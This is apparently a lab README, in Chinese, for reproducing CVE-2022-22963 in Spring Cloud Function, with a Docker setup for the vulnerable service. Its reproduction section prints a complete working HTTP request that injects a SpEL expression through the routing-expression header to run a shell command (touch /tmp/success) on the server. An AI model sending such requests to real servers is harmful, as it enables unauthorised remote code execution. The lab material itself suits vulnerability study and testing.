Aaron
63285f61aa
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1.4 KiB
1.4 KiB
Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）
Spring Cloud Function 提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。
参考链接：
- https://tanzu.vmware.com/security/cve-2022-22963
- https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw
- https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
漏洞环境
执行如下命令启动一个使用Spring Cloud Function 3.2.2编写的服务器：
docker compose up -d
服务启动后，执行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可执行uppercase函数，将输入字符串转换成大写。
漏洞复现
发送如下数据包，spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行：
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
可见，touch /tmp/success已经成功被执行：
